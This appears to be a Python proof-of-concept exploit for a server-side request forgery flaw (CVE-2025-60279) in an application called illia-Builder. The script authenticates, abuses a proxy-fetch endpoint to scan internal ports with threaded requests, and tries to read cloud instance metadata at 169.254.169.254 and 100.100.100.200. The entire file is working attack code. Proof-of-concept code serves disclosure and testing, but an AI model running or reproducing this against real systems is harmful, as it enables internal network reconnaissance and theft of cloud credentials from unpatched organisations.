#!/usr/bin/env python3
"""
CVE-2025-60279 - Illia Cloud illia-Builder SSRF PoC
Description: Server-Side Request Forgery vulnerability in illia-Builder < v4.8.5
Author: Security Researcher
"""
import requests
import sys
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
class IlliaBuilderSSRF:
def __init__(self, target_url, session_cookie=None, username=None, password=None):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
if session_cookie:
self.session.cookies.set('session', session_cookie)
self.username = username
self.password = password
def authenticate(self):
"""Authenticate to illia-Builder with provided credentials"""
login_url = f"{self.target_url}/api/auth/login"
payload = {
"username": self.username,
"password": self.password
}
try:
resp = self.session.post(login_url, json=payload, timeout=10)
if resp.status_code == 200:
print(f"[+] Authentication successful")
return True
else:
print(f"[-] Authentication failed: {resp.status_code}")
return False
except Exception as e:
print(f"[-] Authentication error: {e}")
return False
def test_ssrf(self, target_url):
"""Test SSRF vulnerability by sending request to internal service"""
# Vulnerable API endpoint that proxies user-supplied URLs
api_endpoint = f"{self.target_url}/api/v1/proxy/fetch"
payload = {
"url": target_url,
"method": "GET"
}
try:
resp = self.session.post(api_endpoint, json=payload, timeout=10)
return {
"url": target_url,
"status_code": resp.status_code,
"response_length": len(resp.text),
"response_time": resp.elapsed.total_seconds(),
"content": resp.text[:500] if resp.status_code == 200 else None
}
except requests.exceptions.Timeout:
return {"url": target_url, "status_code": "TIMEOUT", "response_length": 0}
except Exception as e:
return {"url": target_url, "error": str(e)}
def scan_internal_ports(self, internal_host, ports):
"""Enumerate open ports on internal host via SSRF"""
print(f"\n[*] Scanning internal host: {internal_host}")
results = []
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(self.test_ssrf, f"http://{internal_host}:{port}"): port for port in ports}
for future in as_completed(futures):
result = future.result()
results.append(result)
# Identify open ports based on response discrepancies
if result.get("status_code") not in ["TIMEOUT", None] and result.get("status_code") != 502:
print(f"[+] Potential open port: {futures[future]} - Status: {result.get('status_code')}")
return results
def access_cloud_metadata(self):
"""Attempt to access cloud metadata service"""
metadata_urls = [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
"http://100.100.100.200/latest/meta-data/"
]
print("\n[*] Attempting cloud metadata access...")
for url in metadata_urls:
result = self.test_ssrf(url)
if result.get("status_code") == 200:
print(f"[+] Metadata accessible at {url}")
print(f" Content: {result.get('content')}")
def main():
parser = argparse.ArgumentParser(description='CVE-2025-60279 SSRF PoC')
parser.add_argument('-u', '--url', required=True, help='Target illia-Builder URL')
parser.add_argument('-c', '--cookie', help='Session cookie (if already authenticated)')
parser.add_argument('-U', '--username', help='Username for authentication')
parser.add_argument('-P', '--password', help='Password for authentication')
parser.add_argument('-t', '--target-host', default='127.0.0.1', help='Internal host to scan')
parser.add_argument('-p', '--ports', default='22,80,443,3306,5432,6379,8080,8443,9200,27017',
help='Ports to scan (comma-separated)')
args = parser.parse_args()
exploit = IlliaBuilderSSRF(args.url, args.cookie, args.username, args.password)
# Authenticate if credentials provided
if args.username and args.password:
if not exploit.authenticate():
sys.exit(1)
# Scan internal ports
ports = [int(p) for p in args.ports.split(',')]
results = exploit.scan_internal_ports(args.target_host, ports)
# Attempt cloud metadata access
exploit.access_cloud_metadata()
print("\n[*] Scan complete")
if __name__ == "__main__":
main()